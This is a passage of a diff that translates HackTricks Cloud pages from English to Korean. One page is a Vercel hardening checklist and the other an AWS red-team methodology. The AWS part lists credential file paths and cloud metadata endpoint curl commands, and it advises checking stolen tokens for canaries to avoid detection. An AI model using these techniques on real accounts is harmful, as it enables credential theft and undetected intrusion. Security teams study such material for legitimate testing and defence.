- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
- **Misconfiguration:** 공격자가 이 숫자를 증가시킬 수 있습니다.
|
||||
- **Risk:** 비용 증가.
|
||||
|
||||
---
|
||||
|
||||
@@ -307,25 +304,25 @@ For a hardening review of **Vercel** you need to ask for a user with **Viewer ro
|
||||
#### Security Configurations:
|
||||
|
||||
- **Add members**
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Misconfiguration:** 공격자가 자신이 제어하는 계정을 초대하여 지속성을 유지할 수 있습니다.
|
||||
- **Risk:** 공격자의 지속성.
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
- **Misconfiguration:** 필요하지 않은 사람에게 너무 많은 권한을 부여하면 Vercel 구성의 위험이 증가합니다. [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)에서 가능한 모든 역할을 확인하십시오.
|
||||
- **Risk**: Vercel 팀의 노출 증가.
|
||||
|
||||
---
|
||||
|
||||
### Access Groups
|
||||
|
||||
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
|
||||
Vercel의 **Access Group**은 미리 정의된 역할 할당이 있는 프로젝트 및 팀 구성원의 모음으로, 여러 프로젝트에 걸쳐 중앙 집중식 및 간소화된 접근 관리를 가능하게 합니다.
|
||||
|
||||
**Potential Misconfigurations:**
|
||||
**잠재적인 잘못된 구성:**
|
||||
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
- **Over-Permissioning Members:** 필요 이상으로 많은 권한을 가진 역할을 할당하여 무단 접근이나 행동을 초래합니다.
|
||||
- **Improper Role Assignments:** 팀 구성원의 책임과 일치하지 않는 역할을 잘못 할당하여 권한 상승을 초래합니다.
|
||||
- **Lack of Project Segregation:** 민감한 프로젝트를 분리하지 않아 의도보다 더 넓은 접근을 허용합니다.
|
||||
- **Insufficient Group Management:** Access Groups를 정기적으로 검토하거나 업데이트하지 않아 구식 또는 부적절한 접근 권한이 발생합니다.
|
||||
- **Inconsistent Role Definitions:** 서로 다른 Access Groups 간에 일관되지 않거나 불분명한 역할 정의를 사용하여 혼란과 보안 격차를 초래합니다.
|
||||
|
||||
---
|
||||
|
||||
@@ -334,8 +331,8 @@ An **Access Group** in Vercel is a collection of projects and team members with
|
||||
#### Security Configurations:
|
||||
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
- **Misconfiguration:** 공격자가 로그를 훔치기 위해 Log Drain을 구성할 수 있습니다.
|
||||
- **Risk:** 부분적인 지속성.
|
||||
|
||||
---
|
||||
|
||||
@@ -343,99 +340,95 @@ An **Access Group** in Vercel is a collection of projects and team members with
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:** 
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
|
||||
- **Team Email Domain:** 구성 시 이 설정은 지정된 도메인(예: `mydomain.com`)으로 끝나는 이메일 주소를 가진 Vercel 개인 계정을 자동으로 초대하여 팀에 가입하도록 합니다.
|
||||
- **Misconfiguration:**\
|
||||
잘못된 이메일 도메인 또는 잘못 철자된 도메인을 팀 이메일 도메인 설정에 지정합니다.
|
||||
- 일반 이메일 도메인(예: `gmail.com`, `hotmail.com`)을 회사 특정 도메인 대신 사용합니다.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
- **Unauthorized Access:** 의도하지 않은 도메인의 이메일 주소를 가진 사용자가 팀에 가입하라는 초대를 받을 수 있습니다.
|
||||
- **Data Exposure:** 민감한 프로젝트 정보가 무단 개인에게 노출될 수 있습니다.
|
||||
- **Protected Git Scopes:** 보호된 범위에서 다른 Vercel 팀이 리포지토리를 배포하지 못하도록 팀에 최대 5개의 Git 범위를 추가할 수 있습니다. 여러 팀이 동일한 범위를 지정할 수 있어 두 팀 모두 접근할 수 있습니다.
|
||||
- **Misconfiguration:** 보호된 목록에 중요한 Git 범위를 추가하지 않습니다.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** 다른 팀이 귀하의 조직 Git 범위에서 무단으로 리포지토리를 배포할 수 있습니다.
|
||||
- **Intellectual Property Exposure:** 독점 코드가 배포되어 팀 외부에서 접근될 수 있습니다.
|
||||
- **Environment Variable Policies:** 팀의 환경 변수를 생성하고 편집하는 정책을 시행합니다. 특히 모든 환경 변수가 Vercel의 배포 시스템에 의해 복호화될 수 있는 **민감한 환경 변수**로 생성되도록 강제할 수 있습니다.
|
||||
- **Misconfiguration:** 민감한 환경 변수의 시행을 비활성화합니다.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** 환경 변수가 무단 팀 구성원에 의해 조회되거나 편집될 수 있습니다.
|
||||
- **Data Breach:** API 키 및 자격 증명과 같은 민감한 정보가 유출될 수 있습니다.
|
||||
- **Audit Log:** 팀의 활동을 지난 90일 동안 내보낼 수 있습니다. 감사 로그는 팀 구성원이 수행한 작업을 모니터링하고 추적하는 데 도움이 됩니다.
|
||||
- **Misconfiguration:**\
|
||||
무단 팀 구성원에게 감사 로그에 대한 접근을 부여합니다.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** 민감한 사용자 활동 및 데이터의 노출.
|
||||
- **Tampering with Logs:** 악의적인 행위자가 로그를 변경하거나 삭제하여 자신의 흔적을 감출 수 있습니다.
|
||||
- **SAML Single Sign-On:** 팀을 위한 SAML 인증 및 디렉토리 동기화를 사용자 정의할 수 있으며, 중앙 집중식 인증 및 사용자 관리를 위해 Identity Provider(IdP)와 통합할 수 있습니다.
|
||||
- **Misconfiguration:** 공격자가 SAML 매개변수(예: Entity ID, SSO URL 또는 인증서 지문)를 설정하여 팀을 백도어할 수 있습니다.
|
||||
- **Risk:** 지속성 유지.
|
||||
- **IP Address Visibility:** 특정 데이터 보호 법률에 따라 개인 정보로 간주될 수 있는 IP 주소가 모니터링 쿼리 및 로그 드레인에 표시되는지 여부를 제어합니다.
|
||||
- **Misconfiguration:** 필요 없이 IP 주소 가시성을 활성화한 상태로 두는 것.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** GDPR과 같은 데이터 보호 규정 준수 실패.
|
||||
- **Legal Repercussions:** 개인 데이터를 잘못 처리하여 발생할 수 있는 잠재적 벌금 및 처벌.
|
||||
- **IP Blocking:** Vercel이 요청을 차단해야 하는 IP 주소 및 CIDR 범위를 구성할 수 있습니다. 차단된 요청은 청구에 기여하지 않습니다.
|
||||
- **Misconfiguration:** 공격자가 악성 트래픽을 허용하거나 정상 트래픽을 차단하는 데 악용할 수 있습니다.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** 유효한 사용자 또는 파트너의 접근 차단.
|
||||
- **Operational Disruptions:** 특정 지역 또는 클라이언트에 대한 서비스 가용성 손실.
|
||||
|
||||
---
|
||||
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
**Vercel Secure Compute**는 Vercel Functions와 백엔드 환경(예: 데이터베이스) 간의 안전하고 비공식적인 연결을 가능하게 하여 전용 IP 주소가 있는 격리된 네트워크를 설정합니다. 이를 통해 백엔드 서비스를 공개적으로 노출할 필요가 없어 보안, 규정 준수 및 개인 정보 보호가 향상됩니다.
|
||||
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
#### **잠재적인 잘못된 구성 및 위험**
|
||||
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
- **Misconfiguration:** Secure Compute 네트워크에 대한 AWS 리전을 백엔드 서비스의 리전과 일치하지 않게 선택합니다.
|
||||
- **Risk:** 지연 증가, 데이터 거주지 준수 문제 및 성능 저하.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
- **Misconfiguration:** 기존 VPC 또는 다른 네트워크와 겹치는 CIDR 블록을 선택합니다.
|
||||
- **Risk:** 네트워크 충돌로 인해 연결 실패, 무단 접근 또는 네트워크 간 데이터 유출이 발생할 수 있습니다.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
- **Misconfiguration:** VPC 피어링을 잘못 설정합니다(예: 잘못된 VPC ID, 불완전한 라우트 테이블 업데이트).
|
||||
- **Risk:** 백엔드 인프라에 대한 무단 접근, 안전한 연결 실패 및 잠재적 데이터 유출.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
- **Misconfiguration:** 적절한 격리 없이 여러 프로젝트를 단일 Secure Compute 네트워크에 할당합니다.
|
||||
- **Risk:** 공유 IP 노출로 인해 공격 표면이 증가하여 손상된 프로젝트가 다른 프로젝트에 영향을 미칠 수 있습니다.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
- **Misconfiguration:** 전용 IP 주소를 적절하게 관리하거나 회전하지 않습니다.
|
||||
- **Risk:** IP 스푸핑, 추적 취약점 및 IP가 악의적인 활동과 연관될 경우 블랙리스트에 올라갈 수 있습니다.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
- **Misconfiguration:** 빌드 중 백엔드 접근이 필요하지 않을 때 빌드 컨테이너를 Secure Compute 네트워크에 추가합니다.
|
||||
- **Risk:** 공격 표면이 확대되고 프로비저닝 지연이 증가하며 네트워크 자원의 불필요한 소비가 발생합니다.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
- **Misconfiguration:** 배포 보호를 우회하는 데 사용되는 비밀을 노출하거나 잘못 처리합니다.
|
||||
- **Risk:** 보호된 배포에 대한 무단 접근이 발생하여 공격자가 악성 코드를 조작하거나 배포할 수 있습니다.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
- **Misconfiguration:** 수동 장애 조치 지역을 설정하지 않거나 장애 조치 설정을 잘못 구성합니다.
|
||||
- **Risk:** 기본 지역 중단 시 서비스 중단이 발생하여 가용성이 감소하고 데이터 불일치가 발생할 수 있습니다.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
- **Misconfiguration:** 허용된 한도(예: 50개 연결 초과)보다 더 많은 VPC 피어링 연결을 설정하려고 시도합니다.
|
||||
- **Risk:** 필요한 백엔드 서비스에 안전하게 연결할 수 없어 배포 실패 및 운영 중단이 발생할 수 있습니다.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
- **Misconfiguration:** 약한 방화벽 규칙, 암호화 부족 또는 Secure Compute 네트워크 내에서 잘못된 네트워크 분할.
|
||||
- **Risk:** 데이터 가로채기, 백엔드 서비스에 대한 무단 접근 및 공격에 대한 취약성이 증가합니다.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
**목적:** 모든 프로젝트에서 사용하는 환경별 변수 및 비밀을 관리합니다.
|
||||
|
||||
#### Security Configurations:
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Misconfiguration:** 민감한 변수를 `NEXT_PUBLIC_`로 접두어를 붙여 클라이언트 측에서 접근할 수 있게 합니다.
|
||||
- **Risk:** API 키, 데이터베이스 자격 증명 또는 기타 민감한 데이터가 공개되어 데이터 유출이 발생할 수 있습니다.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Misconfiguration:** 비활성화된 경우(기본값) 생성된 비밀의 값을 읽을 수 있습니다.
|
||||
- **Risk:** 민감한 정보의 우발적 노출 또는 무단 접근 가능성이 증가합니다.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 기본 정보
|
||||
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**AWS** 환경에서 **펜테스팅**을 시작하기 전에, AWS가 어떻게 작동하는지에 대한 몇 가지 **기본 사항을 알아야** 합니다. 이를 통해 무엇을 해야 하는지, 잘못 구성된 부분을 찾는 방법, 그리고 이를 어떻게 악용할 수 있는지 이해하는 데 도움이 됩니다.
|
||||
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
조직 계층 구조, IAM 및 기타 기본 개념과 같은 개념은 다음에서 설명됩니다:
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
## 학습을 위한 실습
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
|
||||
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
|
||||
@@ -22,49 +22,49 @@ aws-basic-information/
|
||||
- [http://flaws.cloud/](http://flaws.cloud/)
|
||||
- [http://flaws2.cloud/](http://flaws2.cloud/)
|
||||
|
||||
Tools to simulate attacks:
|
||||
공격을 시뮬레이션하기 위한 도구:
|
||||
|
||||
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
|
||||
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
|
||||
|
||||
## AWS Pentester/Red Team Methodology
|
||||
## AWS 펜테스터/레드 팀 방법론
|
||||
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
AWS 환경을 감사하기 위해서는 **어떤 서비스가 사용되고 있는지**, **무엇이 노출되고 있는지**, **누가 무엇에 접근할 수 있는지**, 그리고 내부 AWS 서비스와 **외부 서비스**가 어떻게 연결되어 있는지를 아는 것이 매우 중요합니다.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
레드 팀 관점에서, **AWS 환경을 타격하기 위한 첫 번째 단계**는 일부 **자격 증명**을 얻는 것입니다. 다음은 이를 수행하는 방법에 대한 몇 가지 아이디어입니다:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials
|
||||
- github(또는 유사한 곳)의 **유출** - OSINT
|
||||
- **사회적** 공학
|
||||
- **비밀번호** 재사용 (비밀번호 유출)
|
||||
- AWS 호스팅 애플리케이션의 취약점
|
||||
- [**서버 측 요청 위조**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) 메타데이터 엔드포인트에 접근
|
||||
- **로컬 파일 읽기**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 제3자 **유출**
|
||||
- **내부** 직원
|
||||
- [**Cognito**](aws-services/aws-cognito-enum/#cognito) 자격 증명
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
또는 **인증되지 않은 서비스**를 타격하여:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
또는 **검토**를 수행하는 경우, 이러한 역할로 **자격 증명을 요청**할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> 자격 증명을 얻은 후, **그 자격 증명이 누구에게 속하는지**와 **그들이 무엇에 접근할 수 있는지** 알아야 하므로, 기본적인 열거 작업을 수행해야 합니다:
|
||||
|
||||
## Basic Enumeration
|
||||
## 기본 열거
|
||||
|
||||
### SSRF
|
||||
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
AWS 내부의 머신에서 SSRF를 발견한 경우, 이 페이지에서 요령을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
|
||||
@@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
가장 먼저 알아야 할 것은 당신이 누구인지(어떤 계정에 있는지 및 AWS 환경에 대한 기타 정보)입니다:
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> 회사들이 **canary tokens**를 사용하여 **토큰이 도난당하고 사용될 때** 식별할 수 있음을 유의하십시오. 사용하기 전에 토큰이 canary token인지 확인하는 것이 좋습니다.\
|
||||
> 자세한 내용은 [**이 페이지를 확인하세요**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
### 조직 열거
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### IAM Enumeration
|
||||
### IAM 열거
|
||||
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
충분한 권한이 있다면 **AWS 계정 내 각 엔터티의 권한을 확인하는 것**이 자신과 다른 아이덴티티가 할 수 있는 일과 **권한 상승** 방법을 이해하는 데 도움이 됩니다.
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
IAM을 열거할 충분한 권한이 없다면 **무차별 대입 공격을 통해** 알아낼 수 있습니다.\
|
||||
**열거 및 무차별 대입 공격 방법**은 다음에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> 이제 **자신의 자격 증명에 대한 정보가 있습니다** (그리고 레드 팀이라면 **발견되지 않았기를 바랍니다**). 환경에서 어떤 서비스가 사용되고 있는지 파악할 시간입니다.\
|
||||
> 다음 섹션에서는 **일반 서비스 열거 방법**을 확인할 수 있습니다.
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
## 서비스 열거, 사후 활용 및 지속성
|
||||
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
AWS는 놀라운 양의 서비스를 제공합니다. 다음 페이지에서는 **기본 정보, 열거** 치트시트\*\*,\*\* **탐지를 피하는 방법**, **지속성** 확보 및 일부 서비스에 대한 **사후 활용** 트릭을 찾을 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
|
||||
모든 작업을 **수동으로** 수행할 필요는 없으며, 이 게시물 아래에서 [**자동화 도구**](./#automated-tools)에 대한 **섹션**을 찾을 수 있습니다.
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
또한 이 단계에서 **인증되지 않은 사용자에게 노출된 더 많은 서비스**를 발견했을 수 있으며, 이를 악용할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## 권한 상승
|
||||
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
다양한 리소스에 대한 **자신의 권한을 확인할 수 있다면** **추가 권한을 얻을 수 있는지 확인할 수 있습니다**. 다음에서 언급된 권한에 집중해야 합니다:
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
## Publicly Exposed Services
|
||||
## 공개적으로 노출된 서비스
|
||||
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
AWS 서비스를 열거하는 동안 일부 서비스가 **인터넷에 요소를 노출하고 있는** 것을 발견했을 수 있습니다 (VM/컨테이너 포트, 데이터베이스 또는 큐 서비스, 스냅샷 또는 버킷...).\
|
||||
펜테스터/레드 팀원으로서 **민감한 정보/취약점**을 찾을 수 있는지 항상 확인해야 하며, 이는 **AWS 계정에 대한 추가 접근을 제공할 수 있습니다**.
|
||||
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
이 책에서는 **노출된 AWS 서비스 찾기 및 확인 방법**에 대한 **정보**를 찾을 수 있습니다. **노출된 네트워크 서비스의 취약점 찾기**에 대해서는 특정 **서비스**를 다음에서 **검색**할 것을 권장합니다:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
{{#endref}}
|
||||
|
||||
## Compromising the Organization
|
||||
## 조직 침해
|
||||
|
||||
### From the root/management account
|
||||
### 루트/관리 계정에서
|
||||
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
관리 계정이 조직 내에 새 계정을 생성할 때, **새 역할**이 새 계정에 생성되며, 기본적으로 **`OrganizationAccountAccessRole`**이라는 이름이 붙고 **관리 계정**에 새 계정에 접근할 수 있는 **AdministratorAccess** 정책이 부여됩니다.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
So, in order to access as administrator a child account you need:
|
||||
따라서 자식 계정에 관리자 권한으로 접근하려면 다음이 필요합니다:
|
||||
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
- **관리** 계정을 **침해**하고 **자식 계정의 ID**와 **역할의 이름**(기본적으로 OrganizationAccountAccessRole)을 찾아 관리 계정이 관리자 권한으로 접근할 수 있도록 합니다.
|
||||
